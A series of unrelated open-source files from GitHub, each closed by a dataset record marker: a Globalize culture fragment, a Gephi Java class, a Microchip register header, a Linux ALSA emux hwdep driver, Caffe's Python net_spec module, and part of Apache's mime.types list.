typeof exports !== "undefined" &&
typeof module !== "undefined" ) {
// Assume CommonJS
Globalize = require( "globalize" );
} else {
// Global variable
Globalize = window.Globalize;
}
Globalize.addCultureInfo( "en-NZ", "default", {
name: "en-NZ",
englishName: "English (New Zealand)",
nativeName: "English (New Zealand)",
numberFormat: {
currency: {
pattern: ["-$n","$n"]
}
},
calendars: {
standard: {
firstDay: 1,
AM: ["a.m.","a.m.","A.M."],
PM: ["p.m.","p.m.","P.M."],
patterns: {
d: "d/MM/yyyy",
D: "dddd, d MMMM yyyy",
f: "dddd, d MMMM yyyy h:mm tt",
F: "dddd, d MMMM yyyy h:mm:ss tt",
M: "dd MMMM",
Y: "MMMM yyyy"
}
}
}
});
}( this ));
| {
"pile_set_name": "Github"
} |
/*
Copyright 2008-2010 Gephi
Authors : Mathieu Bastian <[email protected]>
Website : http://www.gephi.org
This file is part of Gephi.
DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.
Copyright 2011 Gephi Consortium. All rights reserved.
The contents of this file are subject to the terms of either the GNU
General Public License Version 3 only ("GPL") or the Common
Development and Distribution License("CDDL") (collectively, the
"License"). You may not use this file except in compliance with the
License. You can obtain a copy of the License at
http://gephi.org/about/legal/license-notice/
or /cddl-1.0.txt and /gpl-3.0.txt. See the License for the
specific language governing permissions and limitations under the
License. When distributing the software, include this License Header
Notice in each file and include the License files at
/cddl-1.0.txt and /gpl-3.0.txt. If applicable, add the following below the
License Header, with the fields enclosed by brackets [] replaced by
your own identifying information:
"Portions Copyrighted [year] [name of copyright owner]"
If you wish your version of this file to be governed by only the CDDL
or only the GPL Version 3, indicate your decision by adding
"[Contributor] elects to include this software in this distribution
under the [CDDL or GPL Version 3] license." If you do not indicate a
single choice of license, a recipient has the option to distribute
your version of this file under either the CDDL, the GPL Version 3 or
to extend the choice of license to its licensees as provided above.
However, if you add GPL Version 3 code and therefore, elected the GPL
Version 3 license, then the option applies only if the new code is
made subject to such option by the copyright holder.
Contributor(s):
Portions Copyrighted 2011 Gephi Consortium.
*/
package org.gephi.io.importer.impl;
import org.gephi.graph.api.AttributeUtils;
import org.gephi.graph.api.TimeRepresentation;
import org.gephi.graph.api.types.TimeMap;
import org.gephi.graph.api.types.TimeSet;
import org.gephi.io.importer.api.ColumnDraft;
import org.gephi.io.importer.api.ContainerUnloader;
public class ColumnDraftImpl implements ColumnDraft {
protected final int index;
protected final String id;
protected final Class typeClass;
protected final boolean dynamic;
protected String title;
protected Object defaultValue;
public ColumnDraftImpl(String id, int index, boolean dynamic, Class typeClass) {
this.id = id;
this.index = index;
this.typeClass = typeClass;
this.dynamic = dynamic;
}
@Override
public String getId() {
return id;
}
@Override
public String getTitle() {
return title;
}
@Override
public Class getTypeClass() {
return typeClass;
}
@Override
public Object getDefaultValue() {
return defaultValue;
}
protected int getIndex() {
return index;
}
@Override
public void setTitle(String title) {
this.title = title;
}
@Override
public void setDefaultValue(Object value) {
this.defaultValue = value;
}
@Override
public void setDefaultValueString(String value) {
this.defaultValue = AttributeUtils.parse(value, typeClass);
}
@Override
public Class getResolvedTypeClass(ContainerUnloader container) {
TimeRepresentation timeRepresentation = container.getTimeRepresentation();
Class typeClassFinal = typeClass;
//Get final dynamic type:
if (dynamic && !TimeSet.class.isAssignableFrom(typeClassFinal) && !TimeMap.class.isAssignableFrom(typeClassFinal)) {
if (timeRepresentation.equals(TimeRepresentation.TIMESTAMP)) {
typeClassFinal = AttributeUtils.getTimestampMapType(typeClassFinal);
} else {
typeClassFinal = AttributeUtils.getIntervalMapType(typeClassFinal);
}
}
return typeClassFinal;
}
@Override
public Object getResolvedDefaultValue(ContainerUnloader container) {
Class resolvedTypeClass = getResolvedTypeClass(container);
Object resolvedDefaultValue = defaultValue;
if (resolvedDefaultValue != null && !resolvedTypeClass.isAssignableFrom(resolvedDefaultValue.getClass())) {
try {
resolvedDefaultValue = AttributeUtils.parse(resolvedDefaultValue.toString(), resolvedTypeClass);
} catch (Exception e) {
//Failed to parse
}
}
return resolvedDefaultValue;
}
@Override
public boolean isDynamic() {
return dynamic;
}
}
| {
"pile_set_name": "Github"
} |
/**
* \file
*
* \brief Instance description for HCACHE
*
* Copyright (c) 2014-2018 Microchip Technology Inc. and its subsidiaries.
*
* \asf_license_start
*
* \page License
*
* Subject to your compliance with these terms, you may use Microchip
* software and any derivatives exclusively with Microchip products.
* It is your responsibility to comply with third party license terms applicable
* to your use of third party software (including open source software) that
* may accompany Microchip software.
*
* THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES,
* WHETHER EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE,
* INCLUDING ANY IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY,
* AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT WILL MICROCHIP BE
* LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE, INCIDENTAL OR CONSEQUENTIAL
* LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND WHATSOEVER RELATED TO THE
* SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS BEEN ADVISED OF THE
* POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE FULLEST EXTENT
* ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN ANY WAY
* RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY,
* THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE.
*
* \asf_license_stop
*
*/
/*
* Support and FAQ: visit <a href="https://www.microchip.com/support/">Microchip Support</a>
*/
#ifndef _SAM4L_HCACHE_INSTANCE_
#define _SAM4L_HCACHE_INSTANCE_
/* ========== Register definition for HCACHE peripheral ========== */
#if (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__))
#define REG_HCACHE_CTRL (0x400A0408U) /**< \brief (HCACHE) Control Register */
#define REG_HCACHE_SR (0x400A040CU) /**< \brief (HCACHE) Status Register */
#define REG_HCACHE_MAINT0 (0x400A0420U) /**< \brief (HCACHE) Maintenance Register 0 */
#define REG_HCACHE_MAINT1 (0x400A0424U) /**< \brief (HCACHE) Maintenance Register 1 */
#define REG_HCACHE_MCFG (0x400A0428U) /**< \brief (HCACHE) Monitor Configuration Register */
#define REG_HCACHE_MEN (0x400A042CU) /**< \brief (HCACHE) Monitor Enable Register */
#define REG_HCACHE_MCTRL (0x400A0430U) /**< \brief (HCACHE) Monitor Control Register */
#define REG_HCACHE_MSR (0x400A0434U) /**< \brief (HCACHE) Monitor Status Register */
#define REG_HCACHE_VERSION (0x400A04FCU) /**< \brief (HCACHE) Version Register */
#else
#define REG_HCACHE_CTRL (*(WoReg *)0x400A0408U) /**< \brief (HCACHE) Control Register */
#define REG_HCACHE_SR (*(RwReg *)0x400A040CU) /**< \brief (HCACHE) Status Register */
#define REG_HCACHE_MAINT0 (*(WoReg *)0x400A0420U) /**< \brief (HCACHE) Maintenance Register 0 */
#define REG_HCACHE_MAINT1 (*(WoReg *)0x400A0424U) /**< \brief (HCACHE) Maintenance Register 1 */
#define REG_HCACHE_MCFG (*(RwReg *)0x400A0428U) /**< \brief (HCACHE) Monitor Configuration Register */
#define REG_HCACHE_MEN (*(RwReg *)0x400A042CU) /**< \brief (HCACHE) Monitor Enable Register */
#define REG_HCACHE_MCTRL (*(WoReg *)0x400A0430U) /**< \brief (HCACHE) Monitor Control Register */
#define REG_HCACHE_MSR (*(RoReg *)0x400A0434U) /**< \brief (HCACHE) Monitor Status Register */
#define REG_HCACHE_VERSION (*(RoReg *)0x400A04FCU) /**< \brief (HCACHE) Version Register */
#endif /* (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__)) */
#endif /* _SAM4L_HCACHE_INSTANCE_ */
| {
"pile_set_name": "Github"
} |
/*
* Interface for hwdep device
*
* Copyright (C) 2004 Takashi Iwai <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
#include <sound/core.h>
#include <sound/hwdep.h>
#include <linux/uaccess.h>
#include "emux_voice.h"
#define TMP_CLIENT_ID 0x1001
/*
* load patch
*/
static int
snd_emux_hwdep_load_patch(struct snd_emux *emu, void __user *arg)
{
int err;
struct soundfont_patch_info patch;
if (copy_from_user(&patch, arg, sizeof(patch)))
return -EFAULT;
if (patch.type >= SNDRV_SFNT_LOAD_INFO &&
patch.type <= SNDRV_SFNT_PROBE_DATA) {
err = snd_soundfont_load(emu->sflist, arg, patch.len + sizeof(patch), TMP_CLIENT_ID);
if (err < 0)
return err;
} else {
if (emu->ops.load_fx)
return emu->ops.load_fx(emu, patch.type, patch.optarg, arg, patch.len + sizeof(patch));
else
return -EINVAL;
}
return 0;
}
/*
* set misc mode
*/
static int
snd_emux_hwdep_misc_mode(struct snd_emux *emu, void __user *arg)
{
struct snd_emux_misc_mode info;
int i;
if (copy_from_user(&info, arg, sizeof(info)))
return -EFAULT;
if (info.mode < 0 || info.mode >= EMUX_MD_END)
return -EINVAL;
if (info.port < 0) {
for (i = 0; i < emu->num_ports; i++)
emu->portptrs[i]->ctrls[info.mode] = info.value;
} else {
if (info.port < emu->num_ports)
emu->portptrs[info.port]->ctrls[info.mode] = info.value;
}
return 0;
}
/*
* ioctl
*/
static int
snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
unsigned int cmd, unsigned long arg)
{
struct snd_emux *emu = hw->private_data;
switch (cmd) {
case SNDRV_EMUX_IOCTL_VERSION:
return put_user(SNDRV_EMUX_VERSION, (unsigned int __user *)arg);
case SNDRV_EMUX_IOCTL_LOAD_PATCH:
return snd_emux_hwdep_load_patch(emu, (void __user *)arg);
case SNDRV_EMUX_IOCTL_RESET_SAMPLES:
snd_soundfont_remove_samples(emu->sflist);
break;
case SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES:
snd_soundfont_remove_unlocked(emu->sflist);
break;
case SNDRV_EMUX_IOCTL_MEM_AVAIL:
if (emu->memhdr) {
int size = snd_util_mem_avail(emu->memhdr);
return put_user(size, (unsigned int __user *)arg);
}
break;
case SNDRV_EMUX_IOCTL_MISC_MODE:
return snd_emux_hwdep_misc_mode(emu, (void __user *)arg);
}
return 0;
}
/*
* register hwdep device
*/
int
snd_emux_init_hwdep(struct snd_emux *emu)
{
struct snd_hwdep *hw;
int err;
if ((err = snd_hwdep_new(emu->card, SNDRV_EMUX_HWDEP_NAME, emu->hwdep_idx, &hw)) < 0)
return err;
emu->hwdep = hw;
strcpy(hw->name, SNDRV_EMUX_HWDEP_NAME);
hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE;
hw->ops.ioctl = snd_emux_hwdep_ioctl;
/* The ioctl parameter types are compatible between 32- and
* 64-bit architectures, so use the same function. */
hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
hw->exclusive = 1;
hw->private_data = emu;
if ((err = snd_card_register(emu->card)) < 0)
return err;
return 0;
}
/*
* unregister
*/
void
snd_emux_delete_hwdep(struct snd_emux *emu)
{
if (emu->hwdep) {
snd_device_free(emu->card, emu->hwdep);
emu->hwdep = NULL;
}
}
| {
"pile_set_name": "Github"
} |
var parent = require('../../es/typed-array/uint32-array');
module.exports = parent;
| {
"pile_set_name": "Github"
} |
"""Python net specification.
This module provides a way to write nets directly in Python, using a natural,
functional style. See examples/pycaffe/caffenet.py for an example.
Currently this works as a thin wrapper around the Python protobuf interface,
with layers and parameters automatically generated for the "layers" and
"params" pseudo-modules, which are actually objects using __getattr__ magic
to generate protobuf messages.
Note that when using to_proto or Top.to_proto, names of intermediate blobs will
be automatically generated. To explicitly specify blob names, use the NetSpec
class -- assign to its attributes directly to name layers, and call
NetSpec.to_proto to serialize all assigned layers.
This interface is expected to continue to evolve as Caffe gains new capabilities
for specifying nets. In particular, the automatically generated layer names
are not guaranteed to be forward-compatible.
"""
from collections import OrderedDict, Counter
from .proto import caffe_pb2
from google import protobuf
import six
def param_name_dict():
"""Find out the correspondence between layer names and parameter names."""
layer = caffe_pb2.LayerParameter()
# get all parameter names (typically underscore case) and corresponding
# type names (typically camel case), which contain the layer names
# (note that not all parameters correspond to layers, but we'll ignore that)
param_names = [f.name for f in layer.DESCRIPTOR.fields if f.name.endswith('_param')]
param_type_names = [type(getattr(layer, s)).__name__ for s in param_names]
# strip the final '_param' or 'Parameter'
param_names = [s[:-len('_param')] for s in param_names]
param_type_names = [s[:-len('Parameter')] for s in param_type_names]
return dict(zip(param_type_names, param_names))
def to_proto(*tops):
"""Generate a NetParameter that contains all layers needed to compute
all arguments."""
layers = OrderedDict()
autonames = Counter()
for top in tops:
top.fn._to_proto(layers, {}, autonames)
net = caffe_pb2.NetParameter()
net.layer.extend(layers.values())
return net
def assign_proto(proto, name, val):
"""Assign a Python object to a protobuf message, based on the Python
type (in recursive fashion). Lists become repeated fields/messages, dicts
become messages, and other types are assigned directly. For convenience,
repeated fields whose values are not lists are converted to single-element
lists; e.g., `my_repeated_int_field=3` is converted to
`my_repeated_int_field=[3]`."""
is_repeated_field = hasattr(getattr(proto, name), 'extend')
if is_repeated_field and not isinstance(val, list):
val = [val]
if isinstance(val, list):
if isinstance(val[0], dict):
for item in val:
proto_item = getattr(proto, name).add()
for k, v in six.iteritems(item):
assign_proto(proto_item, k, v)
else:
getattr(proto, name).extend(val)
elif isinstance(val, dict):
for k, v in six.iteritems(val):
assign_proto(getattr(proto, name), k, v)
else:
setattr(proto, name, val)
class Top(object):
"""A Top specifies a single output blob (which could be one of several
produced by a layer.)"""
def __init__(self, fn, n):
self.fn = fn
self.n = n
def to_proto(self):
"""Generate a NetParameter that contains all layers needed to compute
this top."""
return to_proto(self)
def _to_proto(self, layers, names, autonames):
return self.fn._to_proto(layers, names, autonames)
class Function(object):
"""A Function specifies a layer, its parameters, and its inputs (which
are Tops from other layers)."""
def __init__(self, type_name, inputs, params):
self.type_name = type_name
self.inputs = inputs
self.params = params
self.ntop = self.params.get('ntop', 1)
# use del to make sure kwargs are not double-processed as layer params
if 'ntop' in self.params:
del self.params['ntop']
self.in_place = self.params.get('in_place', False)
if 'in_place' in self.params:
del self.params['in_place']
self.tops = tuple(Top(self, n) for n in range(self.ntop))
def _get_name(self, names, autonames):
if self not in names and self.ntop > 0:
names[self] = self._get_top_name(self.tops[0], names, autonames)
elif self not in names:
autonames[self.type_name] += 1
names[self] = self.type_name + str(autonames[self.type_name])
return names[self]
def _get_top_name(self, top, names, autonames):
if top not in names:
autonames[top.fn.type_name] += 1
names[top] = top.fn.type_name + str(autonames[top.fn.type_name])
return names[top]
def _to_proto(self, layers, names, autonames):
if self in layers:
return
bottom_names = []
for inp in self.inputs:
inp._to_proto(layers, names, autonames)
bottom_names.append(layers[inp.fn].top[inp.n])
layer = caffe_pb2.LayerParameter()
layer.type = self.type_name
layer.bottom.extend(bottom_names)
if self.in_place:
layer.top.extend(layer.bottom)
else:
for top in self.tops:
layer.top.append(self._get_top_name(top, names, autonames))
layer.name = self._get_name(names, autonames)
for k, v in six.iteritems(self.params):
# special case to handle generic *params
if k.endswith('param'):
assign_proto(layer, k, v)
else:
try:
assign_proto(getattr(layer,
_param_names[self.type_name] + '_param'), k, v)
except (AttributeError, KeyError):
assign_proto(layer, k, v)
layers[self] = layer
class NetSpec(object):
"""A NetSpec contains a set of Tops (assigned directly as attributes).
Calling NetSpec.to_proto generates a NetParameter containing all of the
layers needed to produce all of the assigned Tops, using the assigned
names."""
def __init__(self):
super(NetSpec, self).__setattr__('tops', OrderedDict())
def __setattr__(self, name, value):
self.tops[name] = value
def __getattr__(self, name):
return self.tops[name]
def __setitem__(self, key, value):
self.__setattr__(key, value)
def __getitem__(self, item):
return self.__getattr__(item)
def to_proto(self):
names = {v: k for k, v in six.iteritems(self.tops)}
autonames = Counter()
layers = OrderedDict()
for name, top in six.iteritems(self.tops):
top._to_proto(layers, names, autonames)
net = caffe_pb2.NetParameter()
net.layer.extend(layers.values())
return net
class Layers(object):
"""A Layers object is a pseudo-module which generates functions that specify
layers; e.g., Layers().Convolution(bottom, kernel_size=3) will produce a Top
specifying a 3x3 convolution applied to bottom."""
def __getattr__(self, name):
def layer_fn(*args, **kwargs):
fn = Function(name, args, kwargs)
if fn.ntop == 0:
return fn
elif fn.ntop == 1:
return fn.tops[0]
else:
return fn.tops
return layer_fn
class Parameters(object):
"""A Parameters object is a pseudo-module which generates constants used
in layer parameters; e.g., Parameters().Pooling.MAX is the value used
to specify max pooling."""
def __getattr__(self, name):
class Param:
def __getattr__(self, param_name):
return getattr(getattr(caffe_pb2, name + 'Parameter'), param_name)
return Param()
_param_names = param_name_dict()
layers = Layers()
params = Parameters()
| {
"pile_set_name": "Github"
} |
# This file maps Internet media types to unique file extension(s).
# Although created for httpd, this file is used by many software systems
# and has been placed in the public domain for unlimited redisribution.
#
# The table below contains both registered and (common) unregistered types.
# A type that has no unique extension can be ignored -- they are listed
# here to guide configurations toward known types and to make it easier to
# identify "new" types. File extensions are also commonly used to indicate
# content languages and encodings, so choose them carefully.
#
# Internet media types should be registered as described in RFC 4288.
# The registry is at <http://www.iana.org/assignments/media-types/>.
#
# MIME type (lowercased) Extensions
# ============================================ ==========
# application/1d-interleaved-parityfec
# application/3gpp-ims+xml
# application/activemessage
application/andrew-inset ez
# application/applefile
application/applixware aw
application/atom+xml atom
application/atomcat+xml atomcat
# application/atomicmail
application/atomsvc+xml atomsvc
# application/auth-policy+xml
# application/batch-smtp
# application/beep+xml
# application/calendar+xml
# application/cals-1840
# application/ccmp+xml
application/ccxml+xml ccxml
application/cdmi-capability cdmia
application/cdmi-container cdmic
application/cdmi-domain cdmid
application/cdmi-object cdmio
application/cdmi-queue cdmiq
# application/cea-2018+xml
# application/cellml+xml
# application/cfw
# application/cnrp+xml
# application/commonground
# application/conference-info+xml
# application/cpl+xml
# application/csta+xml
# application/cstadata+xml
application/cu-seeme cu
# application/cybercash
application/davmount+xml davmount
# application/dca-rft
# application/dec-dx
# application/dialog-info+xml
# application/dicom
# application/dns
application/docbook+xml dbk
# application/dskpp+xml
application/dssc+der dssc
application/dssc+xml xdssc
# application/dvcs
application/ecmascript ecma
# application/edi-consent
# application/edi-x12
# application/edifact
application/emma+xml emma
# application/epp+xml
application/epub+zip epub
# application/eshop
# application/example
application/exi exi
# application/fastinfoset
# application/fastsoap
# application/fits
application/font-tdpfr pfr
# application/framework-attributes+xml
application/gml+xml gml
application/gpx+xml gpx
application/gxf gxf
# application/h224
# application/held+xml
# application/http
application/hyperstudio stk
# application/ibe-key-request+xml
# application/ibe-pkg-reply+xml
# application/ibe-pp-data
# application/iges
# application/im-iscomposing+xml
# application/index
# application/index.cmd
# application/index.obj
# application/index.response
# application/index.vnd
application/inkml+xml ink inkml
# application/iotp
application/ipfix ipfix
# application/ipp
# application/isup
application/java-archive jar
application/java-serialized-object ser
application/java-vm class
application/javascript js
application/json json
application/jsonml+json jsonml
# application/kpml-request+xml
# application/kpml-response+xml
application/lost+xml lostxml
application/mac-binhex40 hqx
application/mac-compactpro cpt
# application/macwriteii
application/mads+xml mads
application/marc mrc
application/marcxml+xml mrcx
application/mathematica ma nb mb
# application/mathml-content+xml
# application/mathml-presentation+xml
application/mathml+xml mathml
# application/mbms-associated-procedure-description+xml
# application/mbms-deregister+xml
# application/mbms-envelope+xml
# application/mbms-msk+xml
# application/mbms-msk-response+xml
# application/mbms-protection-description+xml
# application/mbms-reception-report+xml
# application/mbms-register+xml
# application/mbms-register-response+xml
# application/mbms-user-service-description+xml
application/mbox mbox
# application/media_control+xml
application/mediaservercontrol+xml mscml
application/metalink+xml metalink
application/metalink4+xml meta4
application/mets+xml mets
# application/mikey
application/mods+xml mods
# application/moss-keys
# application/moss-signature
# application/mosskey-data
# application/mosskey-request
application/mp21 m21 mp21
application/mp4 mp4s
# application/mpeg4-generic
# application/mpeg4-iod
# application/mpeg4-iod-xmt
# application/msc-ivr+xml
# application/msc-mixer+xml
application/msword doc dot
application/mxf mxf
# application/nasdata
# application/news-checkgroups
# application/news-groupinfo
# application/news-transmission
# application/nss
# application/ocsp-request
# application/ocsp-response
application/octet-stream bin dms lrf mar so dist distz pkg bpk dump elc deploy
application/oda oda
application/oebps-package+xml opf
application/ogg ogx
application/omdoc+xml omdoc
application/onenote onetoc onetoc2 onetmp onepkg
application/oxps oxps
# application/parityfec
application/patch-ops-error+xml xer
application/pdf pdf
application/pgp-encrypted pgp
# application/pgp-keys
application/pgp-signature asc sig
application/pics-rules prf
# application/pidf+xml
# application/pidf-diff+xml
application/pkcs10 p10
application/pkcs7-mime p7m p7c
application/pkcs7-signature p7s
application/pkcs8 p8
application/pkix-attr-cert ac
application/pkix-cert cer
application/pkix-crl crl
application/pkix-pkipath pkipath
application/pkixcmp pki
application/pls+xml pls
# application/poc-settings+xml
application/postscript ai eps ps
# application/prs.alvestrand.titrax-sheet
application/prs.cww cww
# application/prs.nprend
# application/prs.plucker
# application/prs.rdf-xml-crypt
# application/prs.xsf+xml
application/pskc+xml pskcxml
# application/qsig
application/rdf+xml rdf
application/reginfo+xml rif
application/relax-ng-compact-syntax rnc
# application/remote-printing
application/resource-lists+xml rl
application/resource-lists-diff+xml rld
# application/riscos
# application/rlmi+xml
application/rls-services+xml rs
application/rpki-ghostbusters gbr
application/rpki-manifest mft
application/rpki-roa roa
# application/rpki-updown
application/rsd+xml rsd
application/rss+xml rss
application/rtf rtf
# application/rtx
# application/samlassertion+xml
# application/samlmetadata+xml
application/sbml+xml sbml
application/scvp-cv-request scq
application/scvp-cv-response scs
application/scvp-vp-request spq
application/scvp-vp-response spp
application/sdp sdp
# application/set-payment
application/set-payment-initiation setpay
# application/set-registration
application/set-registration-initiation setreg
# application/sgml
# application/sgml-open-catalog
application/shf+xml shf
# application/sieve
# application/simple-filter+xml
# application/simple-message-summary
# application/simplesymbolcontainer
# application/slate
# application/smil
application/smil+xml smi smil
# application/soap+fastinfoset
# application/soap+xml
application/sparql-query rq
application/sparql-results+xml srx
# application/spirits-event+xml
application/srgs gram
application/srgs+xml grxml
application/sru+xml sru
application/ssdl+xml ssdl
application/ssml+xml ssml
# application/tamp-apex-update
# application/tamp-apex-update-confirm
# application/tamp-community-update
# application/tamp-community-update-confirm
# application/tamp-error
# application/tamp-sequence-adjust
# application/tamp-sequence-adjust-confirm
# application/tamp-status-query
# application/tamp-status-response
# application/tamp-update
# application/tamp-update-confirm
application/tei+xml tei teicorpus
application/thraud+xml tfi
# application/timestamp-query
# application/timestamp-reply
application/timestamped-data tsd
# application/tve-trigger
# application/ulpfec
# application/vcard+xml
# application/vemmi
# application/vividence.scriptfile
# application/vnd.3gpp.bsf+xml
application/vnd.3gpp.pic-bw-large plb
application/vnd.3gpp.pic-bw-small psb
application/vnd.3gpp.pic-bw-var pvb
# application/vnd.3gpp.sms
# application/vnd.3gpp2.bcmcsinfo+xml
# application/vnd.3gpp2.sms
application/vnd.3gpp2.tcap tcap
application/vnd.3m.post-it-notes pwn
application/vnd.accpac.simply.aso aso
application/vnd.accpac.simply.imp imp
application/vnd.acucobol acu
application/vnd.acucorp atc acutc
application/vnd.adobe.air-application-installer-package+zip air
application/vnd.adobe.formscentral.fcdt fcdt
application/vnd.adobe.fxp fxp fxpl
# application/vnd.adobe.partial-upload
application/vnd.adobe.xdp+xml xdp
application/vnd.adobe.xfdf xfdf
# application/vnd.aether.imp
# application/vnd.ah-barcode
application/vnd.ahead.space ahead
application/vnd.airzip.filesecure.azf azf
application/vnd.airzip.filesecure.azs azs
application/vnd.amazon.ebook azw
application/vnd.americandynamics.acc acc
application/vnd.amiga.ami ami
# application/vnd.amundsen.maze+xml
application/vnd.android.package-archive apk
application/vnd.anser-web-certificate-issue-initiation cii
application/vnd.anser-web-funds-transfer-initiation fti
application/vnd.antix.game-component atx
application/vnd.apple.installer+xml mpkg
application/vnd.apple.mpegurl m3u8
# application/vnd.arastra.swi
application/vnd.aristanetworks.swi swi
application/vnd.astraea-software.iota iota
application/vnd.audiograph aep
# application/vnd.autopackage
# application/vnd.avistar+xml
application/vnd.blueice.multipass mpm
# application/vnd.bluetooth.ep.oob
application/vnd.bmi bmi
application/vnd.businessobjects rep
# application/vnd.cab-jscript
# application/vnd.canon-cpdl
# application/vnd.canon-lips
# application/vnd.cendio.thinlinc.clientconf
application/vnd.chemdraw+xml cdxml
application/vnd.chipnuts.karaoke-mmd mmd
application/vnd.cinderella cdy
# application/vnd.cirpack.isdn-ext
application/vnd.claymore cla
application/vnd.cloanto.rp9 rp9
application/vnd.clonk.c4group c4g c4d c4f c4p c4u
application/vnd.cluetrust.cartomobile-config c11amc
application/vnd.cluetrust.cartomobile-config-pkg c11amz
# application/vnd.collection+json
# application/vnd.commerce-battelle
application/vnd.commonspace csp
application/vnd.contact.cmsg cdbcmsg
application/vnd.cosmocaller cmc
application/vnd.crick.clicker clkx
application/vnd.crick.clicker.keyboard clkk
application/vnd.crick.clicker.palette clkp
application/vnd.crick.clicker.template clkt
application/vnd.crick.clicker.wordbank clkw
application/vnd.criticaltools.wbs+xml wbs
application/vnd.ctc-posml pml
# application/vnd.ctct.ws+xml
# application/vnd.cups-pdf
# application/vnd.cups-postscript
application/vnd.cups-ppd ppd
# application/vnd.cups-raster
# application/vnd.cups-raw
# application/vnd.curl
application/vnd.curl.car car
application/vnd.curl.pcurl pcurl
# application/vnd.cybank
application/vnd.dart dart
application/vnd.data-vision.rdz rdz
application/vnd.dece.data uvf uvvf uvd uvvd
application/vnd.dece.ttml+xml uvt uvvt
application/vnd.dece.unspecified uvx uvvx
application/vnd.dece.zip uvz uvvz
application/vnd.denovo.fcselayout-link fe_launch
# application/vnd.dir-bi.plate-dl-nosuffix
application/vnd.dna dna
application/vnd.dolby.mlp mlp
# application/vnd.dolby.mobile.1
# application/vnd.dolby.mobile.2
application/vnd.dpgraph dpg
application/vnd.dreamfactory dfac
application/vnd.ds-keypoint kpxx
application/vnd.dvb.ait ait
# application/vnd.dvb.dvbj
# application/vnd.dvb.esgcontainer
# application/vnd.dvb.ipdcdftnotifaccess
# application/vnd.dvb.ipdcesgaccess
# application/vnd.dvb.ipdcesgaccess2
# application/vnd.dvb.ipdcesgpdd
# application/vnd.dvb.ipdcroaming
# application/vnd.dvb.iptv.alfec-base
# application/vnd.dvb.iptv.alfec-enhancement
# application/vnd.dvb.notif-aggregate-root+xml
# application/vnd.dvb.notif-container+xml
# application/vnd.dvb.notif-generic+xml
# application/vnd.dvb.notif-ia-msglist+xml
# application/vnd.dvb.notif-ia-registration-request+xml
# application/vnd.dvb.notif-ia-registration-response+xml
# application/vnd.dvb.notif-init+xml
# application/vnd.dvb.pfr
application/vnd.dvb.service svc
# application/vnd.dxr
application/vnd.dynageo geo
# application/vnd.easykaraoke.cdgdownload
# application/vnd.ecdis-update
application/vnd.ecowin.chart mag
# application/vnd.ecowin.filerequest
# application/vnd.ecowin.fileupdate
# application/vnd.ecowin.series
# application/vnd.ecowin.seriesrequest
# application/vnd.ecowin.seriesupdate
# application/vnd.emclient.accessrequest+xml
application/vnd.enliven nml
# application/vnd.eprints.data+xml
application/vnd.epson.esf esf
application/vnd.epson.msf msf
application/vnd.epson.quickanime qam
application/vnd.epson.salt slt
application/vnd.epson.ssf ssf
# application/vnd.ericsson.quickcall
application/vnd.eszigno3+xml es3 et3
# application/vnd.etsi.aoc+xml
# application/vnd.etsi.cug+xml
# application/vnd.etsi.iptvcommand+xml
# application/vnd.etsi.iptvdiscovery+xml
# application/vnd.etsi.iptvprofile+xml
# application/vnd.etsi.iptvsad-bc+xml
# application/vnd.etsi.iptvsad-cod+xml
# application/vnd.etsi.iptvsad-npvr+xml
# application/vnd.etsi.iptvservice+xml
# application/vnd.etsi.iptvsync+xml
# application/vnd.etsi.iptvueprofile+xml
# application/vnd.etsi.mcid+xml
# application/vnd.etsi.overload-control-policy-dataset+xml
# application/vnd.etsi.sci+xml
# application/vnd.etsi.simservs+xml
# application/vnd.etsi.tsl+xml
# application/vnd.etsi.tsl.der
# application/vnd.eudora.data
application/vnd.ezpix-album ez2
application/vnd.ezpix-package ez3
# application/vnd.f-secure.mobile
application/vnd.fdf fdf
application/vnd.fdsn.mseed mseed
application/vnd.fdsn.seed seed dataless
# application/vnd.ffsns
# application/vnd.fints
application/vnd.flographit gph
application/vnd.fluxtime.clip ftc
# application/vnd.font-fontforge-sfd
application/vnd.framemaker fm frame maker book
application/vnd.frogans.fnc fnc
application/vnd.frogans.ltf ltf
application/vnd.fsc.weblaunch fsc
application/vnd.fujitsu.oasys oas
application/vnd.fujitsu.oasys2 oa2
application/vnd.fujitsu.oasys3 oa3
application/vnd.fujitsu.oasysgp fg5
application/vnd.fujitsu.oasysprs bh2
# application/vnd.fujixerox.art-ex
# application/vnd.fujixerox.art4
# application/vnd.fujixerox.hbpl
application/vnd.fujixerox.ddd ddd
application/vnd.fujixerox.docuworks xdw
application/vnd.fujixerox.docuworks.binder xbd
# application/vnd.fut-misnet
application/vnd.fuzzysheet fzs
application/vnd.genomatix.tuxedo txd
# application/vnd.geocube+xml
application/vnd.geogebra.file ggb
application/vnd.geogebra.tool ggt
application/vnd.geometry-explorer gex gre
application/vnd.geonext gxt
application/vnd.geoplan g2w
application/vnd.geospace g3w
# application/vnd.globalplatform.card-content-mgt
